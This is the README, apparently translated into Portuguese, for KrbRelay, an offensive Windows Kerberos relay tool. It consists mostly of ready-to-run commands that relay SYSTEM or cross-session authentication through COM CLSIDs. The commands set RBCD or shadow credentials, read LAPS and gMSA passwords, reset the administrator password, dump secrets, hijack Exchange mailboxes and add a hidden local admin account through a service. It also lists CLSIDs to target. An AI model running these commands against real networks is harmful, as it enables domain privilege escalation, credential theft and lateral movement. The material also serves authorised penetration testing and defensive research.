cube0x0/krbrelayFramework de relay Kerberos para ambientes Windows que permite relay de autenticação, escalonamento de privilégios e movimento lateral através dos protocolos LDAP, SMB, HTTP e RPC.
Relay de cães de três cabeças. Mais detalhes em https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html e https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
Isso deve funcionar na maioria dos sistemas Windows totalmente atualizados. Pode haver dificuldades com sistemas operacionais de servidor em ambientes de laboratório devido ao firewall bloqueando o resolvedor OXID, no entanto, isso provavelmente não será um problema durante engajamentos reais, o mesmo vale para CLSIDs.
Alguns protocolos estão mais completos que outros, PRs são bem-vindos.
LLMNR
LDAP/LDAPS
HTTP
SMBv2
RPC sobre SMB
# LPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
# Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!
# Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate [email protected]
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
# Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser "C:\windows\system32\cmd.exe /c """"C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add"""""
# LLMNR
.\KrbRelay.exe -llmnr -spn 'cifs/win2019.htb.local' -secrets
# NTLM (veja https://github.com/antonioCoco/RemotePotato0 para CLSIDs)
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm -downgrade
CheckPort.exe é uma ferramenta C# que pode ser usada para descobrir portas disponíveis para o resolvedor OXID.
C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] Looking for available ports..
[*] Port: 1024 is available
Precisaremos desmarshaling nossa OBJREF dentro de um processo que permita autenticações pela rede, isso pode ser verificado observando o Impersonation Level
Ao retransmitir para LDAP ou qualquer outro serviço que tenha assinatura habilitada mas não imposta, também precisaremos verificar se o Authentication Level do processo está definido como RPC_C_AUTHN_LEVEL_CONNECT.
Processos em execução sob NT Authority\Network service usarão a conta SYSTEM ao autenticar pela rede.
Ferramenta para descobrir CLSIDs: https://github.com/tyranid/oleviewdotnet
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll' | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel
# SYSTEM Relay
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
# Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE
# SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
# Cross-Session Relay
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE
# SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
# Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE
Não funciona na primeira vez? tente novamente e verifique esses códigos de erro. Se for abrir uma Issue, por favor cole a saída completa e a entrada.
System.Runtime.InteropServices.COMException (0x800706BA): The RPC server is unavailable. (Exception from HRESULT: 0x800706BA)
System.Runtime.InteropServices.COMException (0x80080004): Bad path to object (Exception from HRESULT: 0x80080004 (CO_E_BAD_PATH))
ou
System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. (Exception from HRESULT: 0x80070422)
System.Runtime.InteropServices.COMException (0x800706D3): The authentication service is unknown.
[*] apReq: 05000b0710000000db003300020<SNIP>
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
System.UnauthorizedAccessException: Access is denied.
Access is denied.